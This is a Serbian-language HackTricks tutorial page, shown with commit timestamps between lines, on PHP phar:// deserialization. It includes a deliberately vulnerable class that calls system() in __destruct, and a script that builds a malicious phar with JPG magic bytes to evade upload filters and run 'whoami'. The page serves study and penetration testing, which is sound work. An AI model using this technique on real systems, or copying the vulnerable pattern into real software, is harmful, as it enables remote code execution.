hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

109 lines
5.1 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# phar:// deserijalizacija
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:10 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2024-02-10 13:11:20 +00:00
Ako vas zanima **hakerska karijera** i hakovanje nehakabilnog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
**Phar** fajlovi (PHP Archive) fajlovi **sadrže metapodatke u serijskom formatu**, tako da, kada se parsiraju, ovi **metapodaci** se **deserijalizuju** i možete pokušati iskoristiti ranjivost **deserijalizacije** unutar **PHP** koda.
2021-03-19 23:08:07 +00:00
2024-02-10 13:11:20 +00:00
Najbolja stvar u vezi ove karakteristike je da će se ova deserijalizacija dogoditi čak i kada se koriste PHP funkcije koje ne izvršavaju PHP kod kao što su **file\_get\_contents(), fopen(), file() ili file\_exists(), md5\_file(), filemtime() ili filesize()**.
2021-03-19 23:08:07 +00:00
2024-02-10 13:11:20 +00:00
Zamislite situaciju u kojoj možete naterati PHP veb stranicu da dobije veličinu proizvoljnog fajla koristeći **`phar://`** protokol, a unutar koda pronađete **klasu** sličnu sledećoj:
2021-03-19 23:08:07 +00:00
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
2024-02-10 13:11:20 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
2024-02-10 13:11:20 +00:00
Možete kreirati **phar** fajl koji će, kada se učita, **zloupotrebiti ovu klasu da izvrši proizvoljne komande** koristeći nešto poput:
2021-03-19 23:08:07 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```php
<?php
class AnyClass {
2024-02-10 13:11:20 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
2024-02-10 13:11:20 +00:00
Primetite kako su **magični bajtovi JPG** (`\xff\xd8\xff`) dodati na početak phar fajla kako bi se **zaobišle** **moguće** **restrikcije** **za** **upload** **fajlova**.\
**Kompajlirajte** fajl `test.phar` sa:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_phar.php
```
2024-02-10 13:11:20 +00:00
I izvršite `whoami` komandu zloupotrebljavajući ranjiv kod sa:
2021-03-19 23:08:07 +00:00
```bash
php vuln.php
```
2024-02-10 13:11:20 +00:00
### Reference
2022-05-24 00:07:19 +00:00
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
2021-03-19 23:08:07 +00:00
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Ako vas zanima **hakerska karijera** i hakovanje nehakabilnog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:10 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>